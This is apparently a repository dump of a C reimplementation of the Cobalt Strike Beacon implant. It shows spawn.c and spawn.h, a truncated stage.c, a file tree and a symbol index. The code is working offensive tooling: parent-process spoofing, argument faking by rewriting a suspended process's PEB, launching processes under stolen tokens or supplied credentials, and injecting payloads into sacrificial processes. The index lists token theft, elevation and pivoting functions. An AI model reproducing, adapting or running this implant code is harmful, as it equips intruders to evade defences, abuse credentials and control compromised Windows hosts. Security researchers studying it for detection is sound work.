CloseHandle(context->handle);
}
PRUN_UNDER_CONTEXT ParentProcessContextInit(PRUN_UNDER_CONTEXT context)
{
context->handle = INVALID_HANDLE_VALUE;
context->updateProcessAttributes = UpdateParentProcessContext;
context->cleanup = CleanupParentProcessContext;
return context;
}
PRUN_UNDER_CONTEXT UpdateChildProcessContext(PRUN_UNDER_CONTEXT context, DWORD parentPid, LPPROC_THREAD_ATTRIBUTE_LIST attributeList, STARTUPINFO* si)
{
// Set the process attribute for the child process
context->processAttribute = 0x100000000000; // PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
if (!UpdateProcThreadAttribute(attributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &context->processAttribute, sizeof(context->processAttribute), NULL, NULL))
{
DWORD lastError = GetLastError();
LERROR("Could not update process attribute: %s", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_UPDATE_PROC_THREAD_ATTRIBUTE_LIST_FAILED, lastError);
return FALSE;
}
// Set the error mode to prevent error dialogs
if (&SetErrorMode)
context->previousErrorMode = SetErrorMode(SEM_NOOPENFILEERRORBOX | SEM_NOGPFAULTERRORBOX | SEM_FAILCRITICALERRORS);
return TRUE;
}
void CleanupChildProcessContext(PRUN_UNDER_CONTEXT context)
{
// Restore the error mode
if (&SetErrorMode)
SetErrorMode(context->previousErrorMode);
}
PRUN_UNDER_CONTEXT ChildProcessContextInit(PRUN_UNDER_CONTEXT context)
{
context->updateProcessAttributes = UpdateChildProcessContext;
context->cleanup = CleanupChildProcessContext;
return context;
}
typedef struct _RUN_UNDER_CONFIG
{
char* cmd;
int cmdLength;
STARTUPINFO* startupInfo;
PROCESS_INFORMATION* processInfo;
int creationFlags;
BOOL ignoreToken;
} RUN_UNDER_CONFIG;
void ProcThreadAttributeListDestroy(LPVOID lpAttributeList)
{
DeleteProcThreadAttributeList(lpAttributeList);
HeapFree(GetProcessHeap(), 0, lpAttributeList);
}
/**
* @brief Adjusts the command line of a process by replacing it with a new one.
*
* This function is used for adjusting the command line of a process by allocating a new buffer,
* converting the new command to wide characters, and writing it to the process memory.
*/
BOOL ProcessCmdAdjust(PROCESS_INFORMATION* processInfo, EXPANDED_CMD* cmds) {
if(!IsProcess64Bit(processInfo->hProcess))
{
LERROR("x64 Beacon cannot adjust arguments in x86 process");
BeaconErrorNA(ERROR_ADJUST_ARGUMENTS_BY_ARCH_FAILED);
return FALSE;
}
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_INTEGER;
if (!GetThreadContext(processInfo->hThread, &ctx))
{
DWORD lastError = GetLastError();
LERROR("Could not adjust arguments in process: %s - Reason: Could not get thread context", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_ADJUST_ARGUMENTS_FAILED, lastError);
return FALSE;
}
#if IS_X64()
// Use RDX
DWORD64 reg = ctx.Rdx;
#else
// Use EBX
DWORD64 reg = ctx.Ebx;
#endif
const PEB* peb = (PEB*)reg;
RTL_USER_PROCESS_PARAMETERS processParameters;
if(!ReadProcessMemory(processInfo->hProcess, &peb->ProcessParameters, &processParameters, sizeof(peb->ProcessParameters), NULL))
{
DWORD lastError = GetLastError();
LERROR("Could not adjust arguments in process: %s - Reason: Could not read process parameters", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_ADJUST_ARGUMENTS_FAILED, lastError);
return FALSE;
}
UNICODE_STRING commandLine = { 0 };
if(!ReadProcessMemory(processInfo->hProcess, &processParameters.CommandLine, &commandLine, sizeof(commandLine), NULL))
{
DWORD lastError = GetLastError();
LERROR("Could not adjust arguments in process: %s - Reason: Could not read command line", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_ADJUST_ARGUMENTS_FAILED, lastError);
return FALSE;
}
DWORD flOldProtect;
if (!VirtualProtectEx(processInfo->hProcess, commandLine.Buffer, commandLine.MaximumLength, PAGE_READWRITE, &flOldProtect))
{
DWORD lastError = GetLastError();
LERROR("Could not adjust arguments in process: %s - Reason: Could not adjust permissions", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_ADJUST_ARGUMENTS_FAILED, lastError);
return FALSE;
}
// FIXME: I do not understand why is this freed just only when an error occurs... I'm not sure if this is purposeful or not. Maybe a memory leak?
WCHAR* newCmd = malloc(commandLine.MaximumLength);
memset(newCmd, 0, commandLine.MaximumLength);
if (!toWideChar(cmds->cmd, newCmd, commandLine.MaximumLength / sizeof(WCHAR)))
{
LERROR("Real arguments are longer than fake arguments.");
BeaconErrorNA(ERROR_REAL_FAKE_ARGS_NO_MATCH);
goto cleanup;
}
SIZE_T wrote;
if(!WriteProcessMemory(processInfo->hProcess, commandLine.Buffer, newCmd, commandLine.MaximumLength, &wrote))
{
DWORD lastError = GetLastError();
LERROR("Could not adjust arguments in process: %s - Reason: Could not write new command line", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_ADJUST_ARGUMENTS_FAILED, lastError);
goto cleanup;
}
return TRUE;
cleanup:
free(newCmd);
return FALSE;
}
BOOL SpawnProcessWithLogon(RUN_UNDER_CONFIG* runUnderConfig, WCHAR* cmd, const WCHAR* currentDirectory)
{
if (!CreateProcessWithLogonW(
gIdentityUsername,
gIdentityDomain,
gIdentityPassword,
LOGON_NETCREDENTIALS_ONLY,
NULL,
cmd,
runUnderConfig->creationFlags,
NULL,
currentDirectory,
runUnderConfig->startupInfo,
runUnderConfig->processInfo))
{
DWORD lastError = GetLastError();
LERROR("Could not spawn %s (token&creds): %s", execution->cmd, LAST_ERROR_STR(lastError));
BeaconErrorDS(ERROR_SPAWN_TOKEN_AND_CREDS, lastError, runUnderConfig->cmd);
return FALSE;
}
return TRUE;
}
BOOL SpawnProcessWithTokenOrLogon(RUN_UNDER_CONFIG* runUnderConfig)
{
int type;
WCHAR cmd[1024] = { 0 };
WCHAR buffer[1024] = { 0 };
runUnderConfig->startupInfo->lpDesktop = 0;
const WCHAR* lpCurrentDirectory = NULL;
if (toWideChar(runUnderConfig->cmd, cmd, sizeof(cmd)/sizeof(WCHAR)))
{
if (GetCurrentDirectoryW(0, 0) < sizeof(cmd) / sizeof(WCHAR))
{
GetCurrentDirectoryW(sizeof(cmd) / sizeof(WCHAR), buffer);
lpCurrentDirectory = buffer;
}
if (CreateProcessWithTokenW(
gIdentityToken,
LOGON_NETCREDENTIALS_ONLY,
NULL,
cmd,
runUnderConfig->creationFlags,
NULL,
lpCurrentDirectory,
runUnderConfig->startupInfo,
runUnderConfig->processInfo))
{
return TRUE;
}
DWORD lastError = GetLastError();
if (lastError == ERROR_PRIVILEGE_NOT_HELD
&& CreateProcessWithLogonW && gIdentityIsLoggedIn == TRUE)
return SpawnProcessWithLogon(runUnderConfig, cmd, lpCurrentDirectory);
if (lastError == ERROR_INVALID_PARAMETER
&& runUnderConfig->startupInfo->cb == sizeof(STARTUPINFOEXA) && CreateProcessWithLogonW)
{
LERROR("Could not spawn %s (token) with extended startup information. Reset ppid, disable blockdlls, or rev2self to drop your token.", runUnderConfig->cmd);
type = ERROR_SPAWN_TOKEN_EXTENDED_STARTUPINFO;
}
else
{
LERROR("Could not spawn %s (token): %s", runUnderConfig->cmd, LAST_ERROR_STR(lastError));
type = ERROR_SPAWN_PROCESS_AS_USER_FAILED;
}
BeaconErrorDS(type, lastError, runUnderConfig->cmd);
}
else
{
LERROR("Could not run command(w / token) because of its length of %d", runUnderConfig->cmdLength);
BeaconErrorD(ERROR_LENGTHY_WIDECHAR_COMMAND, runUnderConfig->cmdLength);
}
return FALSE;
}
BOOL SpawnProcess(RUN_UNDER_CONFIG* execution)
{
int lastError;
if (!gIdentityToken || execution->ignoreToken)
{
if (!CreateProcessA(
NULL,
execution->cmd,
NULL,
NULL,
TRUE,
execution->creationFlags,
NULL,
NULL,
execution->startupInfo,
execution->processInfo))
{
lastError = GetLastError();
LERROR("Could not spawn %s: %s", execution->cmd, LAST_ERROR_STR(lastError));
BeaconErrorDS(ERROR_SPAWN_PROCESS_FAILED, lastError, execution->cmd);
return FALSE;
}
}
else if (!CreateProcessAsUserA(
gIdentityToken,
NULL,
execution->cmd,
NULL,
NULL,
TRUE,
execution->creationFlags,
NULL,
NULL,
execution->startupInfo,
execution->processInfo))
{
lastError = GetLastError();
if (lastError == ERROR_PRIVILEGE_NOT_HELD && CreateProcessWithTokenW)
{
LWARNING("Could not spawn %s (token): %s", execution->cmd, LAST_ERROR_STR(lastError));
return SpawnProcessWithTokenOrLogon(execution);
}
LERROR("Could not spawn %s (token): %s", execution->cmd, LAST_ERROR_STR(lastError));
BeaconErrorDS(ERROR_SPAWN_PROCESS_AS_USER_FAILED, lastError, execution->cmd);
return FALSE;
}
return TRUE;
}
BOOL RunAsUserInternal(LPCCH domain, LPCCH username, LPCCH password, LPCCH cmd, int creationFlags, LPPROCESS_INFORMATION lpProcessInfo)
{
datap* parser = BeaconDataAlloc(0xA000);
WCHAR* lpCommandLine = BeaconDataPtr(parser, 0x4000);
WCHAR* lpDomain = BeaconDataPtr(parser, 0x400);
WCHAR* lpUsername = BeaconDataPtr(parser, 0x400);
WCHAR* lpPassword = BeaconDataPtr(parser, 0x400);
WCHAR* lpCurrentDirectory = BeaconDataPtr(parser, 0x400);
STARTUPINFOA si = { sizeof(si) };
*lpProcessInfo = { 0 };
GetStartupInfoA(&si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = 0;
si.hStdOutput = 0;
si.hStdError = 0;
si.lpDesktop = NULL;
toWideChar(cmd, lpCommandLine, 0x4000);
toWideChar(domain, lpDomain, 0x400);
toWideChar(username, lpUsername, 0x400);
toWideChar(password, lpPassword, 0x400);
if (GetCurrentDirectoryW(0, 0) < 0x400)
{
GetCurrentDirectoryW(0x400, lpCurrentDirectory);
}
BOOL result = TRUE;
if (!CreateProcessWithLogonW(
lpUsername,
lpDomain,
lpPassword,
LOGON_WITH_PROFILE,
NULL,
lpCommandLine,
creationFlags | CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT,
NULL,
lpCurrentDirectory,
(LPSTARTUPINFOW)&si,
lpProcessInfo))
{
DWORD lastError = GetLastError();
LERROR("Could not run %s as %s\\%s: %s", cmd, domain, username, LAST_ERROR_STR(lastError));
BeaconErrorPrintf(ERROR_RUN_AS_USER_FAILED, "%s as %s\\%s: %d", cmd, domain, username, lastError);
result = FALSE;
}
BeaconDataFree(parser);
return result;
}
void RunAsUser(char* buffer, int length)
{
datap* locals = BeaconDataAlloc(0x4C00);
char* cmd = BeaconDataPtr(locals, 0x4000);
char* domain = BeaconDataPtr(locals, 0x400);
char* username = BeaconDataPtr(locals, 0x400);
char* password = BeaconDataPtr(locals, 0x400);
datap parser;
BeaconDataParse(&parser, buffer, length);
if(!BeaconDataStringCopySafe(&parser, cmd, 0x4000))
goto cleanup;
if (!BeaconDataStringCopySafe(&parser, domain, 0x400))
goto cleanup;
if (!BeaconDataStringCopySafe(&parser, username, 0x400))
goto cleanup;
if (!BeaconDataStringCopySafe(&parser, password, 0x400))
goto cleanup;
IdentityRevertToken();
PROCESS_INFORMATION pi;
RunAsUserInternal(domain, username, password, cmd, 0, &pi);
IdentityImpersonateToken();
BeaconCleanupProcess(&pi);
cleanup:
BeaconDataFree(locals);
}
BOOL RunProcessWithAdjustedCmd(RUN_UNDER_CONFIG* execution)
{
EXPANDED_CMD cmds;
if ((execution->creationFlags & CREATE_SUSPENDED) != 0 || ArgumentFindMatch(&cmds, execution->cmd) == FALSE)
return SpawnProcess(execution);
execution->creationFlags |= CREATE_SUSPENDED;
execution->cmd = cmds.fullCmd;
BOOL result = SpawnProcess(execution);
const BOOL couldAdjust = ProcessCmdAdjust(execution->processInfo, &cmds);
if (couldAdjust)
{
ResumeThread(execution->processInfo->hThread);
}
else
{
TerminateProcess(execution->processInfo->hProcess, 0);
result = FALSE;
}
return result;
}
BOOL RunUnder_(RUN_UNDER_CONFIG* runUnderConfig, int parentPid)
{
DWORD count = 0;
if (parentPid)
count++;
if (gBlockDlls)
count++;
if (count == 0)
return RunProcessWithAdjustedCmd(runUnderConfig);
const PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList = ProcThreadAttributeListInit(count);
RUN_UNDER_CONTEXT context;
RUN_UNDER_CONTEXT parentContext = *ParentProcessContextInit(&context);
RUN_UNDER_CONTEXT childContext = *ChildProcessContextInit(&context);
BOOL result = FALSE;
if (!parentPid || parentContext.updateProcessAttributes(
&parentContext,
parentPid,
lpAttributeList,
runUnderConfig->startupInfo))
{
if (!gBlockDlls
|| childContext.updateProcessAttributes(&childContext, parentPid, lpAttributeList, runUnderConfig->startupInfo))
{
STARTUPINFOEXA si_;
si_.StartupInfo = *runUnderConfig->startupInfo;
si_.StartupInfo.cb = sizeof(STARTUPINFOEXA);
si_.lpAttributeList = lpAttributeList;
runUnderConfig->startupInfo = &si_;
runUnderConfig->creationFlags |= EXTENDED_STARTUPINFO_PRESENT;
result = RunProcessWithAdjustedCmd(runUnderConfig);
if (parentPid)
parentContext.cleanup(&parentContext);
if (gBlockDlls)
childContext.cleanup(&childContext);
}
}
ProcThreadAttributeListDestroy(lpAttributeList);
return result;
}
BOOL RunUnder(char* cmd, int cmdLength, STARTUPINFO* startupInfo, PROCESS_INFORMATION* processInfo, int creationFlags, BOOL ignoreToken, int parentPid)
{
RUN_UNDER_CONFIG runUnderConfig = { cmd, cmdLength, startupInfo, processInfo, creationFlags, ignoreToken };
return RunUnder_(&runUnderConfig, 0);
}
BOOL RunUnderParent(char* cmd, int cmdLength, STARTUPINFO* startupInfo, PROCESS_INFORMATION* processInfo, int creationFlags, BOOL ignoreToken)
{
return RunUnder(cmd, cmdLength, startupInfo, processInfo, creationFlags, ignoreToken, gParentPid);
}
void RunUnderPid(char* buffer, int length)
{
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
GetStartupInfoA(&si);
si.wShowWindow = SW_HIDE;
si.hStdInput = 0;
si.hStdOutput = 0;
si.hStdError = 0;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
#define MAX_CMD 0x2000
datap* locals = BeaconDataAlloc(MAX_CMD);
char* cmd = BeaconDataPtr(locals, MAX_CMD);
datap parser;
BeaconDataParse(&parser, buffer, length);
int pid = BeaconDataInt(&parser);
BeaconDataStringCopySafe(&parser, cmd, MAX_CMD);
RunUnder(cmd, strlen(cmd), &si, &pi, CREATE_NEW_CONSOLE, FALSE, pid);
BeaconCleanupProcess(&pi);
BeaconDataFree(locals);
}
void BeaconInjectProcess(HANDLE hProcess, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len)
{
BeaconInjectProcessInternal(NULL, hProcess, pid, payload, p_len, p_offset, arg, a_len);
}
void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len)
{
BeaconInjectProcessInternal(pInfo, pInfo->hProcess, pInfo->dwProcessId, payload, p_len, p_offset, arg, a_len);
}
BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO* si, PROCESS_INFORMATION* pInfo)
{
char cmd[MAX_PATH];
SpawnToFix(x86, cmd);
return RunUnderParent(cmd, strlen(cmd), si, pInfo, CREATE_SUSPENDED, ignoreToken);
}
void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo)
{
if (pInfo->hProcess)
CloseHandle(pInfo->hProcess);
if (pInfo->hThread)
CloseHandle(pInfo->hThread);
}
void Execute(char* buffer, int length)
{
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
GetStartupInfoA(&si);
si.wShowWindow = SW_HIDE;
memset(&si.hStdInput, 0, sizeof(si.hStdInput));
memset(&si.hStdOutput, 0, sizeof(si.hStdOutput));
memset(&si.hStdError, 0, sizeof(si.hStdError));
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
#define MAX_CMD 1024
if (length >= MAX_CMD)
return;
char cmd[MAX_CMD];
strncpy(cmd, buffer, length);
cmd[length] = 0;
RunUnderParent(cmd, length, &si, &pi, 0, FALSE);
BeaconCleanupProcess(&pi);
}
BOOL SpawnAsUserInternal(BOOL x86, char* lpDomain, char* lpUsername, char* lpPassword, PROCESS_INFORMATION* lpProcessInfo)
{
char cmd[256];
SpawnToFix(x86, cmd);
return RunAsUserInternal(lpDomain, lpUsername, lpPassword, cmd, CREATE_SUSPENDED, lpProcessInfo);
}
void SpawnAsUser(char* buffer, int length, BOOL x86)
{
#define MAX_DOMAIN 1024
#define MAX_USERNAME 1024
#define MAX_PASSWORD 1024
datap* locals = BeaconDataAlloc(MAX_DOMAIN + MAX_USERNAME + MAX_PASSWORD);
char* domain = BeaconDataPtr(locals, MAX_DOMAIN);
char* username = BeaconDataPtr(locals, MAX_USERNAME);
char* password = BeaconDataPtr(locals, MAX_PASSWORD);
datap parser;
BeaconDataParse(&parser, buffer, length);
if (!BeaconDataStringCopySafe(&parser, domain, MAX_DOMAIN))
goto cleanup;
if (!BeaconDataStringCopySafe(&parser, username, MAX_USERNAME))
goto cleanup;
if (!BeaconDataStringCopySafe(&parser, password, MAX_PASSWORD))
goto cleanup;
PROCESS_INFORMATION pi;
if (SpawnAsUserInternal(x86, domain, username, password, &pi))
{
Sleep(100);
int size = BeaconDataLength(&parser);
char* data = BeaconDataBuffer(&parser);
BeaconInjectTemporaryProcess(&pi, data, size, 0, NULL, 0);
}
BeaconCleanupProcess(&pi);
cleanup:
BeaconDataFree(locals);
}
BOOL SpawnUnderInternal(BOOL x86, BOOL ignoreToken, STARTUPINFO* si, PROCESS_INFORMATION* pi, int pid)
{
char cmd[256];
SpawnToFix(x86, cmd);
return RunUnder(cmd, strlen(cmd), si, pi, CREATE_SUSPENDED, ignoreToken, pid);
}
void SpawnUnder(char* buffer, int length, BOOL x86)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
int pid = BeaconDataInt(&parser);
char* payload = BeaconDataBuffer(&parser);
int payloadLength = BeaconDataLength(&parser);
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
GetStartupInfoA(&si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = 0;
si.hStdOutput = 0;
si.hStdError = 0;
if (SpawnUnderInternal(x86, TRUE, &si, &pi, pid))
{
Sleep(100);
BeaconInjectTemporaryProcess(&pi, payload, payloadLength, 0, NULL, 0);
BeaconCleanupProcess(&pi);
}
}
BOOL RunIsSameSessionAsCurrent(int pid)
{
int sessionId;
if (!ProcessIdToSessionId(pid, &sessionId))
return TRUE;
int currentSessionId;
if (!ProcessIdToSessionId(GetCurrentProcessId(), ¤tSessionId))
return TRUE;
return sessionId == currentSessionId;
}
void RunSetParentPid(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
gParentPid = BeaconDataInt(&parser);
if(gParentPid && !RunIsSameSessionAsCurrent(gParentPid))
{
LERROR("PPID %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset.", gParentPid);
BeaconErrorD(ERROR_PARENT_PROCESS_NOT_IN_SAME_SESSION, gParentPid);
}
}
void SpawnSetTo(char* buffer, int length, BOOL x86)
{
if(!gSpawnToX86 || !gSpawnToX64)
{
#define MAX_SPAWN_TO 256
#define MAX_SPAWN_TO_X86 MAX_SPAWN_TO
#define MAX_SPAWN_TO_X64 MAX_SPAWN_TO
datap* parser = BeaconDataAlloc(MAX_SPAWN_TO_X86 + MAX_SPAWN_TO_X64);
gSpawnToX86 = BeaconDataPtr(parser, MAX_SPAWN_TO_X86);
gSpawnToX64 = BeaconDataPtr(parser, MAX_SPAWN_TO_X64);
}
if(length != 0 && length <= 256)
{
char* dst;
int size;
if(x86)
{
dst = gSpawnToX86;
size = MAX_SPAWN_TO_X86;
}
else
{
dst = gSpawnToX64;
size = MAX_SPAWN_TO_X64;
}
memset(dst, 0, size);
memcpy(dst, buffer, length);
} else
{
memset(gSpawnToX86, 0, MAX_SPAWN_TO_X86);
memset(gSpawnToX64, 0, MAX_SPAWN_TO_X64);
}
}
================================================
FILE: Beacon/spawn.h
================================================
#pragma once
void SpawnAndPing(char* data, int size, BOOL x86);
void BlockDlls(char* buffer, int length);
void Execute(char* buffer, int length);
void RunAsUser(char* buffer, int length);
void RunSetParentPid(char* buffer, int length);
void RunUnderPid(char* buffer, int length);
void SpawnUnder(char* buffer, int length, BOOL x86);
void SpawnAsUser(char* buffer, int length, BOOL x86);
void SpawnSetTo(char* buffer, int length, BOOL x86);
void Spawn(char* data, int size, BOOL x86, BOOL ignoreToken);
void InjectIntoPidAndPing(char* buffer, int length, BOOL x86);
BOOL RunUnderParent(char* cmd, int cmdLength, STARTUPINFO* startupInfo, PROCESS_INFORMATION* processInfo, int creationFlags, BOOL ignoreToken);
BOOL AdjustMemoryPermissions(char* payload, int size);
BOOL IsWow64ProcessEx(HANDLE hProcess);
char* InjectLocally(char* payload, int size);
================================================
FILE: Beacon/stage.c
================================================
#include "pch.h"
#inclu
gitextract_3qilwohy/ ├── .gitattributes ├── .gitignore ├── Beacon/ │ ├── Beacon.vcxproj │ ├── Beacon.vcxproj.filters │ ├── api.c │ ├── api.h │ ├── argument.c │ ├── argument.h │ ├── beacon.c │ ├── beacon.h │ ├── callback.h │ ├── channel.c │ ├── channel.h │ ├── command.h │ ├── crypto.c │ ├── crypto.h │ ├── data.c │ ├── download.c │ ├── download.h │ ├── error.h │ ├── filesystem.c │ ├── filesystem.h │ ├── format.c │ ├── identity.c │ ├── identity.h │ ├── inline_execute_object.c │ ├── inline_execute_object.h │ ├── job.c │ ├── job.h │ ├── link.c │ ├── link.h │ ├── logger.h │ ├── macros.h │ ├── main.c │ ├── memory.c │ ├── metadata.c │ ├── metadata.h │ ├── network.c │ ├── network.h │ ├── pch.c │ ├── pch.h │ ├── pipe.c │ ├── pipe.h │ ├── powershell.c │ ├── powershell.h │ ├── process.c │ ├── process.h │ ├── protocol.c │ ├── protocol.h │ ├── self.c │ ├── self.h │ ├── spawn.c │ ├── spawn.h │ ├── stage.c │ ├── stage.h │ ├── strategy.c │ ├── strategy.h │ ├── strategy_default.c │ ├── strategy_failover.c │ ├── strategy_random.c │ ├── task.c │ ├── thread.c │ ├── thread.h │ ├── transform.c │ ├── transform.h │ ├── utils.c │ ├── utils.h │ ├── web_response.c │ └── web_response.h ├── CobaltStrike.sln ├── LICENSE └── README.md
SYMBOL INDEX (272 symbols across 36 files)
FILE: Beacon/api.c
function BeaconAPI (line 5) | void BeaconAPI(bapi* beaconApi)
function PROC (line 42) | PROC* FindOrAddDynamicFunction(bapi* api, PROC newFunction)
FILE: Beacon/api.h
type bapi (line 6) | typedef struct _bapi
FILE: Beacon/argument.c
type ARGUMENT_ENTRY (line 8) | typedef struct _ARGUMENT_ENTRY
function BOOL (line 18) | BOOL ArgumentFindMatch(EXPANDED_CMD* extendedCmd, const char* cmd)
function ARGUMENT_ENTRY (line 32) | ARGUMENT_ENTRY* ArgumentFindOrCreate(char* expanded)
function ArgumentAdd (line 61) | void ArgumentAdd(char* buffer, int length)
function ArgumentRemove (line 87) | void ArgumentRemove(char* buffer, int length)
function ArgumentList (line 105) | void ArgumentList()
FILE: Beacon/argument.h
type EXPANDED_CMD (line 3) | typedef struct _EXPANDED_CMD
FILE: Beacon/beacon.h
type sizedbuf (line 25) | typedef struct
type datap (line 32) | typedef struct {
type datap (line 58) | typedef datap formatp;
type HEAP_RECORD (line 110) | typedef struct {
type BEACON_INFO (line 135) | typedef struct {
type DATA_STORE_OBJECT (line 180) | typedef struct {
FILE: Beacon/channel.c
type CHANNEL_ENTRY (line 10) | typedef struct CHANNEL_ENTRY
function BOOL (line 37) | BOOL ChannelIsBindValid(short port)
function SOCKET (line 49) | SOCKET ChannelSocketCreateAndBind(const int addr, const short port, cons...
function ChannelAdd (line 76) | void ChannelAdd(SOCKET socket, int id, int timeoutPeriod, int type, int ...
function ChannelGetId (line 100) | long long ChannelGetId()
function ChannelLSocketBind (line 105) | void ChannelLSocketBind(char* buffer, int length, int ipAddress)
function ChannelLSocketTcpPivot (line 122) | void ChannelLSocketTcpPivot(char* buffer, int length)
function ChannelListen (line 139) | void ChannelListen(char* buffer, int length)
function ChannelConnect (line 156) | void ChannelConnect(char* buffer, int length)
function ChannelClose (line 202) | void ChannelClose(char* buffer, int length)
function ChannelSend (line 219) | void ChannelSend(char* buffer, int length)
function ChannelLSocketClose (line 265) | void ChannelLSocketClose(char* buffer, int length)
function ChannelReceiveDataInternal (line 279) | int ChannelReceiveDataInternal(SOCKET socket, char* buffer, int length)
function ChannelReceiveData (line 297) | int ChannelReceiveData()
function ChannelRemoveAllInactive (line 345) | void ChannelRemoveAllInactive()
function ChannelHandleActivity (line 386) | void ChannelHandleActivity()
function ChannelHandleAll (line 490) | void ChannelHandleAll(void)
FILE: Beacon/crypto.c
function CryptoSetupSha256AES (line 15) | void CryptoSetupSha256AES(char* in)
function EncryptSessionData (line 44) | void EncryptSessionData(char* pubkey, char* in, int inlen, char* out, in...
function CryptoAesHmacEncrypt (line 62) | int CryptoAesHmacEncrypt(char* buffer, int length)
FILE: Beacon/data.c
function datap (line 5) | datap* BeaconDataAlloc(int size)
function BeaconDataFree (line 23) | void BeaconDataFree(datap* parser)
function BeaconDataParse (line 30) | void BeaconDataParse(datap* parser, char* buffer, int size) {
function BeaconDataInt (line 47) | int BeaconDataInt(datap* parser)
function BeaconDataShort (line 60) | short BeaconDataShort(datap* parser)
function BeaconDataByte (line 73) | char BeaconDataByte(datap* parser)
function BeaconDataStringCopySafe (line 103) | int BeaconDataStringCopySafe(datap* parser, char* buffer, int size)
function BeaconDataStringCopy (line 121) | int BeaconDataStringCopy(datap* parser, char* buffer, int size)
function BeaconDataLength (line 142) | int BeaconDataLength(datap* parser)
function BeaconDataZero (line 171) | void BeaconDataZero(datap* parser)
FILE: Beacon/download.c
type DOWNLOAD_ENTRY (line 7) | typedef struct DOWNLOAD_ENTRY
function DownloadCancel (line 18) | void DownloadCancel(char* buffer, int length)
function DownloadDo (line 33) | void DownloadDo(char* buffer, int length)
function Upload (line 104) | void Upload(char* buffer, int length, char* mode)
function DownloadCloseSafely (line 134) | void DownloadCloseSafely(DOWNLOAD_ENTRY* download)
type DOWNLOAD_CHUNK (line 144) | typedef struct DOWNLOAD_CHUNK
function DownloadFileChunk (line 150) | void DownloadFileChunk(DOWNLOAD_ENTRY* download, int chunkMaxSize)
function DownloadHandleAll (line 180) | void DownloadHandleAll(int chunkMaxSize)
FILE: Beacon/filesystem.c
function FilesystemCd (line 7) | void FilesystemCd(char* buffer, int length)
function FilesystemPwd (line 20) | void FilesystemPwd()
function FilesystemMkdir (line 29) | void FilesystemMkdir(char* buffer, int length)
function FilesystemMove (line 41) | void FilesystemMove(char* buffer, int length)
function FilesystemCopy (line 65) | void FilesystemCopy(char* buffer, int length)
function FilesystemDrives (line 89) | void FilesystemDrives(char* buffer, int length)
function FilesystemList (line 110) | void FilesystemList(char* buffer, int length)
function BOOL (line 182) | BOOL FilesystemIsDirectory(char* filename)
function FilesystemRemoveRecursiveCallback (line 187) | void FilesystemRemoveRecursiveCallback(const char* a1, const char* a2, B...
function FilesystemFindAndProcess (line 198) | void FilesystemFindAndProcess(char* filename, WIN32_FIND_DATAA* findData)
function FilesystemRemoveDirectoryChildren (line 240) | void FilesystemRemoveDirectoryChildren(char* filepath)
function FilesystemRemove (line 249) | void FilesystemRemove(char* buffer, int length)
FILE: Beacon/format.c
function BeaconFormatAlloc (line 5) | void BeaconFormatAlloc(formatp* format, int maxsz)
function BeaconFormatUse (line 11) | void BeaconFormatUse(formatp* format, char* buffer, int size)
function BeaconFormatReset (line 16) | void BeaconFormatReset(formatp* format)
function BeaconFormatAppend (line 21) | void BeaconFormatAppend(formatp* format, char* text, int len)
function BeaconFormatPrintf (line 34) | void BeaconFormatPrintf(formatp* format, char* fmt, ...)
function BeaconFormatFree (line 46) | void BeaconFormatFree(formatp* format)
function BeaconFormatInt (line 52) | void BeaconFormatInt(formatp* format, int value)
function BeaconFormatShort (line 58) | void BeaconFormatShort(formatp* format, short value)
function BeaconFormatChar (line 64) | void BeaconFormatChar(formatp* format, char value)
function BeaconFormatLength (line 79) | int BeaconFormatLength(formatp* format)
FILE: Beacon/identity.c
function BOOL (line 25) | BOOL IdentityGetUserInfo(HANDLE hToken, char* buffer, int size)
function IdentityRevertToken (line 50) | void IdentityRevertToken(void)
function IdentityConditionalRevert (line 56) | void IdentityConditionalRevert(BOOL ignoreToken)
function IdentityImpersonateToken (line 62) | void IdentityImpersonateToken(void)
function IdentityConditionalImpersonate (line 68) | void IdentityConditionalImpersonate(BOOL ignoreToken)
function IdentityGetUidInternal (line 74) | void IdentityGetUidInternal(HANDLE hToken)
function IdentityGetUid (line 85) | void IdentityGetUid(void)
function BOOL (line 116) | BOOL BeaconUseToken(HANDLE token)
function BeaconRevertToken (line 172) | void BeaconRevertToken(void)
function BOOL (line 196) | BOOL BeaconIsAdmin(void)
function IdentityLoginUserInternal (line 218) | void IdentityLoginUserInternal(char* domain, char* username, char* passw...
function IdentityLoginUser (line 253) | void IdentityLoginUser(char* buffer, int length)
function IdentityStealToken (line 288) | void IdentityStealToken(char* buffer, int length)
function IdentityElevationThread (line 361) | void IdentityElevationThread(LPVOID lpThreadParameter)
function IdentityElevatePre (line 388) | void IdentityElevatePre(char* buffer, int length)
function IdentityElevatePost (line 409) | void IdentityElevatePost()
function IdentityGetPrivilegesInternal (line 438) | void IdentityGetPrivilegesInternal(char* buffer, int length, HANDLE hTok...
function IdentityGetPrivileges (line 468) | void IdentityGetPrivileges(char* buffer, int length)
FILE: Beacon/inline_execute_object.c
